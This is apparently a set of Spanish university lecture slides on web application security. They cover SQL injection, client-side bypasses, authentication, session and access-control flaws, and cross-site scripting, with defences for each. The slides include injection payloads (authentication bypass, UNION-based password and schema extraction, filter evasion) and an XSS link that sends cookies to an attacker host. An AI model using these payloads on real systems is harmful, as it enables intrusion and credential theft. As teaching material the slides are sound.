Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper...

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Seguridad en Computación Web

Computación Web (Curso 2015/2016)

Jesus Arias Fisteus // [email protected]

Seguridad en Computacion Web– p. 1

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Seguridad en aplicaciones Web

«This site is absolutely secure. It has beendesigned to use 128-bit Secure Socket Layer(SSL) technology to prevent unauthorizedusers from viewing any of your information.You may use this site with peace of mind thatyour data is safe with us.»


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A laptop battery contains roughly the stored energy of a hand

grenade, and if shorted it ... hey! You can’t arrest me if I prove

your rules inconsistent!

http://xkcd.com/651/



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http://geekandpoke.typepad.com/geekandpoke/2011/

05/everybody-has-to-set-priorities.html


http://geekandpoke.typepad.com/geekandpoke/2011/05/everybody-has-to-set-priorities.html

http://geekandpoke.typepad.com/geekandpoke/2011/05/everybody-has-to-set-priorities.html

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Errores más peligrosos en programas

2011 CWE/SANS Top 25 Most Dangerous Software Errors


http://cwe.mitre.org/top25/

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¡Los usuarios pueden enviar

datos arbitrarios a la

aplicación!


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Envío de datos arbitrarios

Los usuarios pueden:

Alterar cualquier dato transferido al servidor:parámetros de la petición, cookies, cabecerasHTTP.

Enviar peticiones en secuencias arbitrarias,enviar parámetros en peticiones en que elservidor no lo espera, no enviarlos, enviarlosmás de una vez.

Usar herramientas distintas a un navegadorWeb para atacar más fácilmente la aplicación.


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Envío de datos manipulados

En la mayoría de los ataques se envían datosmanipulados para causar un efecto no deseado enla aplicación. Ejemplos:

Cambio del precio de un producto en un campooculto de un formulario.

Modificar el token de sesión.

Eliminar algunos parámetros que el servidorespera.

Alterar datos que van a ser procesados por unabase de datos.


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Ataques al almacenamiento de datos


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Ataques al almacenamiento de datos

Principales ataques:

Bases de datos SQL (inyección de SQL).

Bases de datos XML.

Directorios LDAP.


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Inyección de SQL




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Esquivar la autenticación

La comilla simple es un carácter especial en SQL.

La secuencia “--” (comentario) invalida el restodel comando.

nombre = "juan' -- '"

String consulta = "SELECT nombre FROM Usuarios WHERE nombre='" + nombre

+ "' AND contrasena='" + password + "'";

// Consulta realizada:

SELECT nombre FROM Usuarios WHERE nombre='juan' -- '' AND contrasena=''


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Esquivar la autenticación

Si no se conoce el nombre del usuario, se puedeobtener el primero.

En muchas aplicaciones el primer usuario es eladministrador, que cuenta con privilegiosespeciales.

nombre = "' OR 1=1 -- '"

String consulta = "SELECT nombre FROM Usuarios WHERE nombre='" + nombre

+ "' AND contrasena='" + password + "'";


SELECT nombre FROM Usuarios WHERE nombre='' OR 1=1 -- '' AND contrasena=''


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Tipos de consultas

Cualquier tipo de consulta es vulnerable (SELECT,INSERT, UPDATE, etc.)

Se puede inyectar tanto en datos textuales comoen datos numéricos.


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Ataques a consultas INSERT

En un campo se inyectan el resto de los valores:

contrasena = "passwd', 10000000) -- '"

String consulta = "INSERT INTO Usarios (nombre, contrasena, saldo) VALUES ('"

+ nombre + "', '" + contrasena + "', " + saldo + ")";


INSERT INTO Usarios (nombre, contrasena, saldo)

VALUES ('nombre', 'passwd', 10000000) -- '', 0)


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Ataques con UNION

El comando UNION permite combinar resultadosde dos consultas.

genero = "1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- "

String consulta = "SELECT titulo, autor, precio FROM Libros

WHERE genero=" + genero;


SELECT titulo, autor, precio FROM Libros

WHERE genero=1 UNION SELECT usuario, contrasena, NULL FROM Usuarios --


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Nombres de tablas y columnas

Para realizar algunos tipos de ataques esnecesario conocer nombres de tablas y columnas.

A veces los nombres son predecibles.

En otras ocasiones, se pueden descubrir conconsultas inyectadas con UNION:

UNION SELECT TABLE_SCHEMA, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

UNION SELECT TABLE_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_SCHEMA='DemoSeguridad'

UNION SELECT COLUMN_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_SCHEMA='DemoSeguridad' AND TABLE_NAME='Usuarios'


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Inyección de segundo orden

Aun filtrando correctamente comillas (sustituciónde comilla simple por doble), futuras consultas sonvulnerables si se insertan en la base de datosvalores con comilla simple.

Las comillas no son necesarias en camposnuméricos.

El comentario se reemplaza por “or 'a'='a”.

El bloqueo de palabras clave se puede esquivara veces:SeLeCt

SELSELECTECT

Si se filtran blancos, se puede insertarcomentarios “/**/”.


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Defensa frente a estos ataques

Usar PreparedStatement o equivalente:

En todas las consultas, no sólo en las quetoman datos directamente del usuario.

Usar el nivel de privilegios más bajo posible.

Deshabilitar funciones innecesarias de las basesde datos.

Mantener el gestor de bases de datos siempreactualizado.


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Otros ataques de inyección de código

Otros ataques similares por inyección de código:

Inyección en comandos del sistema operativo.

Inyección en lenguajes de scripting.

Inyección en JSON.

Inyección en XML.

Inyección en LDAP.

Inyección en correo electrónico.

Inyección en cabeceras de HTTP.


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Esquivar controles en el cliente


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Datos recibidos del cliente

Datos enviados por el servidor a través del cliente.

Datos recogidos por el cliente.


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Datos enviados a través del cliente

Enviados típicamente mediante:

Campos ocultos en formularios.

Cookies HTTP.

Parámetros en URLs.

Cabeceras HTTP.

Son susceptibles de ser modificados por elusuario.

Incluso en ocasiones a pesar de ser opacos.


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Ejemplo

<form method=“post” action=“Shop.aspx?prod=1”>

Product: iPhone 5 <br/>

Price: 449 <br/>

Quantity: <input type=“text” name=“quantity”> (Maximum quantity is 50)

<br/>

<input type=“hidden” name=“price” value=“449”>

<input type=“submit” value=“Buy”>

</form>


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Ejemplo

HTTP/1.1 200 OK

Set-Cookie: DiscountAgreed=25

Content-Length: 1530

(...)


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Datos recogidos por el cliente

Recogidos típicamente mediante:

Formularios HTML.

Javascript, Applets Java, Silverlight, Flash, etc.

Son susceptibles de ser establecidosarbitrariamente por el usuario saltando lavalidación del lado del cliente (restricciones en elformulario, javascript, etc.)


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Protección frente a estos ataques

Para proteger la aplicación, es recomendable:

No enviar datos sensibles a través del cliente:Si no queda más remedio, cifrarlos ofirmarlos (cuidado con ataques por repeticióny ataques con texto claro).

Validar en el servidor todos los datosprocedentes del cliente.

Sistema de logs, monitorización y alertas.


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Ataques a los mecanismos de autenticación


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Ataques a la autenticación

Errores en la autenticación:

Errores de diseño.

Errores de implementación.


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Ataques a la autenticación

http://abstrusegoose.com/296


http://abstrusegoose.com/296

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Errores de diseño (I)

Contraseñas débiles.

Posibilidad de ataques de fuerza bruta.

Mensajes de error detallados.

Transmisión vulnerable de credenciales.

Funcionalidad de cambio de contraseña.

Funcionalidad de “contraseña olvidada”.

Funcionalidad “recuérdame”.

Funcionalidad de impersonación de usuarios.


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Errores de diseño (II)

Validación de credenciales incompleta.

Nombres de usuario no únicos.

Nombres de usuario predecibles.

Contraseñas iniciales predecibles.

Distribución insegura de credenciales.


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Errores de implementación

Errores en la lógica de la aplicación.

Defectos en mecanismos de autenticaciónmulti-paso.

Almacenamiento inseguro de credenciales.


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Ejemplo

public Response checkLogin(Session session) {

try {

String uname = session.getParameter(“username”);

String passwd = session.getParameter(“password”);

User user = db.getUser(uname, passwd);

if (user == null) {

// invalid credentials

session.setMessage(“Login failed. ”);

return doLogin(session);

}

}

catch (Exception e) {}

// valid user

session.setMessage(“Login successful. ”);

return doMainMenu(session);

}


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Protección de los mecanismos de au-

tenticación

Usar credenciales robustas.

Manejar credenciales confidencialmente.

Validar credenciales apropiadamente.

Prevenir fuga de información.

Prevenir ataques de fuerza bruta.

Evitar uso fraudulento de la funcionalidad decambio de contraseña.

Evitar uso fraudulento de la funcionalidad derecordar contraseña.



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Ataques al control de acceso


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Ataques al control de acceso

El usuario accede a recursos o acciones para losque no está autorizado:

Escalada vertical de privilegios.

Escalada horizontal de privilegios.


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Vulnerabilidades en el control de acce-

so

Funcionalidad sin proteger en absoluto: porejemplo, suponiendo URLs desconocidas.

Funciones basadas en identificador de recursosupuestamente desconocido.

Funciones multi-etapa.

Acceso sin control a ficheros estáticos.

Control de acceso inseguro: basado en datosenviados por el cliente.

Ejemplo:http://www.test.com/?admin=true


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Protección del control de acceso (I)

No basarse en el desconocimiento por el usuariode URLs o identificadores.

No pasar datos relativos al control de acceso através del usuario.

No asumir una secuencia concreta en laspeticiones.


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Protección del control de acceso (II)

Buenas prácticas (I):

Documentar y evaluar el sistema de control deacceso.

Basar las decisiones en la sesión del usuario.

Usar un componente central para tomar lasdecisiones sobre el acceso a recursos.

Restringir funcionalidad delicada por rango deIPs.

Controlar el acceso a ficheros estáticos.

Validar identificadores de recurso siempre quevengan del cliente.


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Protección del control de acceso (III)

Buenas prácticas (II):

Nueva autenticación en funcionalidad sensible.

Sistema de logs de acceso.


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Ataques a la gestión de sesiones


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Ataques a la gestión de sesiones

La autenticación de usuarios se complementa conmecanismos de gestión de sesiones:

Token de sesión: identificador que envía elcliente en sus peticiones, con frecuencia enuna cookie, para que el servidor identifique aqué sesión pertenecen.

Dos grupos de vulnerabilidades principalmente:

Generación de tokens de sesión débiles.

Debilidades en el manejo de tokens de sesióndurante su ciclo de vida.


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Generación de tokens débiles

Tokens con significado deducible:

Nombre de usuario, id de usuario en la base dedatos, fecha, número secuencial o secuenciadeducible, dirección IP, dirección de correoelectrónico, etc.

757365723d6461663b6170703d61646d

696e3b646174653d30312f31322f3131

user=daf;app=admin;date=10/09/11


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Generación de tokens débiles

Tokens predecibles:

Incluyen información temporal, secuenciasfácilmente deducibles, secuenciaspseudoaleatorias.


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Debilidades en el manejo de tokens de

sesión (I)

Interceptación en la red del token:

Uso de HTTP en las comunicaciones.

Problemas en el uso de HTTPS:Uso sólo en el procedimiento deautenticación.Uso de token previo obtenido por HTTP.Peticiones por HTTP después de haberentrado en HTTPS: por ejemplo, ficherosestáticos por HTTP, botón atrás, etc.Inducción por el atacante a realizar unapetición HTTP (por correo electrónico, desdeotros sitios Web, etc.)


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Debilidades en el manejo de tokens de

sesión (II)

Exposición del token en logs o aplicaciones degestión.

Mapeo vulnerable de tokens a sesiones.

Terminación de sesión vulnerable: no hay funcióncierre de sesión o no se invalida el token en elservidor.

Secuestro de tokens o fijación de tokens mediantecross-site scripting, peticiones cross-site, etc.

Dominio de las cookies demasiado amplio.


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Protección del mecanismo de sesiones

(I)

Generación de tokens robustos:

Gran número de posibles valores.

No incluir más información que un identificador.

Buen generador de números pseudoaleatorios.

Introducir otros datos como fuente dealeatoriedad: IP y puerto cliente, cabeceraUser-Agent, fecha y hora con muchaprecisión, clave adicional sólo conocida por elservidor y refrescada en cada arranque.


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(II)

Protección de los tokens (I):

Trasmisión del token sólo por HTTPS (cookiessólo HTTPS).

Nunca transmitir tokens en la URL.

Cierre de sesión que invalide el token en elservidor.

Expiración de sesiones por inactividad.

Evitar sesiones simultáneas del mismo usuario.

Proteger aplicaciones de gestión que permitanver los tokens.


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(III)

Protección de los tokens (II):

Restringir el dominio y ruta de las cookies.

Evitar vulnerabilidades cross-site scripting.

No aceptar tokens arbitrarios puestos por elusuario.

Iniciar una nueva sesión siempre tras laautenticación.

Tokens distintos para cada página.


Cierre de sesión ante cualquier tipo de error en laentrada del usuario.


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Ataques a usuarios


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Ataques a usuarios

Existe un conjunto de técnicas cuyo objetivo esatacar a otros usuarios de una aplicación Web:

Cross-site scripting.

Inducción de acciones del usuario:On Site Request Forgery.Cross-Site Request Forgery.UI Redress

Captura de datos desde otros dominios.

Fijación de sesiones.

Redirección abierta.

Inyección de SQL en el cliente.

Ataques al navegador.


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Cross-site scripting

Tres tipos principales de ataque:

Reflejado.

Almacenado.

Basado en DOM.


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Cross-site scripting reflejado

Se produce cuando una aplicación muestradirectamente datos enviados como parámetros dela petición por el usuario.

Por ejemplo, páginas de error con mensajepasado como parámetro:http://example.com/Error?message=Sorry%2c+an+error+occurred

El cliente puede inyectar código Javascript que seejecutará en el navegador.http://example.com/Error?message=<script>var+i=new+Image;

+i.src=“http://mdattacker.net/”%2bdocument.cookie;</script>

Los enlaces se pueden disimular con codificaciónURL.


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Envío del enlace malicioso al usuario:

Por correo electrónico.

En mensajería instantánea.

Desde un sitio Web de terceros o del atacante.

Mediante redes de publicidad.

Mediante acciones enviar a un amigo oinformar al administrador en el sitio Webatacado.


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Cross-site scripting almacenado

El atacante introduce texto en la base de datos delsitio Web que posteriormente se muestra a otrosusuarios.

El atacante puede inyectar código Javascript endicho texto, que se ejecutará en el navegador deotros usuarios del sistema, incluso deadministradores.

Más peligroso que el reflejado, porque el atacadoestá autenticado y no es necesario inducirlo aactivar ningún enlace.


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Cross-site scripting almacenado


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Cross-site scripting basado en DOM

El servidor no transmite los datos del usuario devuelta, pero en la página hay código Javascriptque los toma de la URL pedida y los muestra condocument.write().

Ataque similar en parte a cross-site scriptingreflejado.


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Cross-site scripting

Posibles acciones de ataque:

Pintadas virtuales (defacement).

Inyección de troyanos y phishing.

Inducción de acciones por el usuario.

Aprovechar privilegios: captura de texto de lafunción autocompletar, aplicaciones conrestricciones de seguridad reducidas, usofraudulento de controles ActiveX.

Escalado del ataque en el lado del cliente:captura de teclado, historial de navegación,escaneo de puertos en la red local del usuario,etc.


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Prevención de cross-site scripting

Validar la entrada del usuario:

Restricciones de longitud, conjunto decaracteres, expresiones regulares.

Validar la salida:

Reemplazo de caracteres reservados de HTMLpor referencias a entidades.

Eliminar puntos peligrosos de inserción (códigoJavascript, cabeceras de HTTP, atributos deelementos HTML).

Donde el usuario pueda editar HTML, limitar lasmarcas que pueda utilizar o utilizar lenguajesde marcas alternativos.


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Referencias

Dafydd Stuttard, Marcus Pinto. The WebApplication Hacker’s Handbook. 2nd ed. JohnWiley & Sons

Acceso en Safari

Capítulos 1, 5, 6, 7, 8, 9 y 12.


http://proquest.safaribooksonline.com.strauss.uc3m.es:8080/book/information-technology-and-software-development/9781118026472

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